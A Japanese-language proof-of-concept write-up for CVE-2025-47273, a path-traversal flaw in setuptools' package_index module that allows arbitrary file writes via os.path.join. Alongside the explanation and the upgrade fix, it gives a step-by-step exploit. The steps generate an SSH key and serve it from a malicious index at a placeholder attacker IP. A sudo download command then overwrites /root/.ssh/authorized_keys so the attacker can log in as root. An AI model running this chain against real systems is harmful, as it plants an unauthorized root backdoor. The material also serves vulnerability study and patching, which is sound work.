
この Proof of Concept (PoC) は、教育目的および許可されたセキュリティ監査のみを対象としています。著者は、この情報の誤用について一切の責任を負いません。コンピュータシステムへの不正アクセスは違法であり、非倫理的です。
CVE-2025-47273 は、setuptools ライブラリ(v78.1.0 以前)の package_index モジュールで見つかったパストラバーサル脆弱性です。この脆弱性により、攻撃者は特別に細工した URL を PackageIndex.download() メソッドに渡すことで、任意のファイル書き込みを実行できます。
この欠陥は、Python の os.path.join() 関数に共通する落とし穴に起因します。Python のドキュメントによると:
コンポーネントが絶対パスの場合、以前のコンポーネントはすべて破棄され、絶対パスのコンポーネントから結合が続行されます。
脆弱なバージョンの setuptools では、宛先ファイル名は URL から名前を抽出し、それを一時ディレクトリと結合することによって決定されます:
# setuptools/package_index.py
filename = os.path.join(tmpdir, name)
攻撃者が URL デコード後にファイル名部分がフォワードスラッシュ / で始まる URL を提供した場合、os.path.join は tmpdir プレフィックスを破棄し、URL で提供された絶対パスを返します。
[ Attacker-Controlled URL ]
http://attacker.local/%2fetc%2fpasswd
|
| 1. URL Decoding
v
[ Decoded Filename (name) ]
"/etc/passwd"
|
| 2. Vulnerable Function Call
v
os.path.join("/tmp/download_dir", "/etc/passwd")
|
| 3. Python os.path.join Logic
v
[ Resulting Path (filename) ]
"/etc/passwd" <-- /tmp/download_dir is discarded!
宛先パスを絶対パスに操作できるため、攻撃者はプロセスが書き込み権限を持つファイルシステム上の任意の場所に任意のコンテンツを書き込むことができます。
setuptools を使用するプロセスが昇格された権限(例:システム全体のインストーラ)で実行されている場合、攻撃者は /etc/passwd、/root/.ssh/authorized_keys、/etc/shadow などの重要なシステムファイルや、その他多くのファイルを上書きできます...~/.bashrc、~/.ssh/authorized_keys などのユーザーレベルの設定ファイルを上書きしたり、既存の Python ライブラリにコードを注入したりすることで、永続的なリモートコード実行(RCE)につながる可能性があります。/root/.ssh/authorized_keys の上書き)この脆弱性は setuptools バージョン 78.1.0 に存在します。
pip install setuptools==78.1.0
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
server.py スクリプトは悪意のあるパッケージインデックスとして動作します。要求されたパスに関係なくペイロードファイルを配信し、配信するファイルは id_rsa.pub です。
python3 server.py 80
以下のコマンドを使用してファイル書き込みをトリガーすると、事前に作成した SSH キーペアで root に SSH 接続できます。
sudo python3 -c 'from setuptools.package_index import PackageIndex;PackageIndex().download("http://<ATTACKER_IP>:80/%2froot%2f.ssh%2fauthorized_keys", "/tmp")'
ssh -i id_rsa root@<target-ip>
この脆弱性は setuptools バージョン 78.1.1 で対処されました。この修正では、os.path.join() に渡される前に、URL から取得した name 変数に先頭のスラッシュやドライブ文字が含まれないように厳密にサニタイズします。
環境を保護するには:
pip install --upgrade setuptools